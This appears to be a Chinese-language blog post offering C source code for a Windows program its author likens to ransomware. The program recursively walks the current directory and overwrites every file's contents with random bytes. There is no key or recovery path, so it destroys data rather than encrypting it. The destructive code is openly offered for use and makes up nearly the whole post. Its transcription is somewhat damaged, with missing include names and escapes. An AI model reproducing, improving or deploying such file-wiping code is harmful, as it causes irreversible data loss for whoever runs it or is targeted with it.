此程序类似勒索病毒,是一个批量加密程序(请勿在C盘更目录下使用出现问题概不负责)
程序会将随机字符插入文件的类容中加密类型(*.*)
话不多说请看代码:
#define _CRT_SECURE_NO_WARNINGS #include#include void FuckYou(char*filename) { FILE* pfile = fopen(filename, "r+b"); if (pfile == NULL) { printf("文件打开失败n"); return; } fseek(pfile, 0, SEEK_END); int size = ftell(pfile); fseek(pfile, 0, SEEK_SET); char code; for (int i = 0; i < size; i++) { code = rand() % 128; fwrite(&code, 1, 1, pfile); fseek(pfile, 1, SEEK_CUR); } fclose(pfile); } void FindFile(char*filename) { char PathName[256]; memset(PathName, 0, 256); sprintf(PathName, "%s\%s", filename, "*.*"); WIN32_FIND_DATA fileData; HANDLE hFile = FindFirstFile(PathName,&fileData); if (hFile == INVALID_HANDLE_VALUE) { printf("该文件夹为空n"); return; } char temp[256]; int fileCount = 0; int isFindNext = 1; while (isFindNext) { if (fileData.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) { if (fileData.cFileName[0] != '.') { memset(temp, 0, 256); sprintf(temp, "%s\%s", filename, fileData.cFileName); printf("文件夹:%sn", temp); FindFile(temp); } } else { memset(temp, 0, 256); sprintf(temp, "%s\%s", filename, fileData.cFileName); printf("文件:%sn", temp); FuckYou(temp); fileCount++; } isFindNext = FindNextFile(hFile, &fileData); } } int main() { char currentDirectoryName[256]; GetCurrentDirectory(256,currentDirectoryName); printf("%sn", currentDirectoryName); FindFile(currentDirectoryName); return 0; }
创作不易,请一键三连



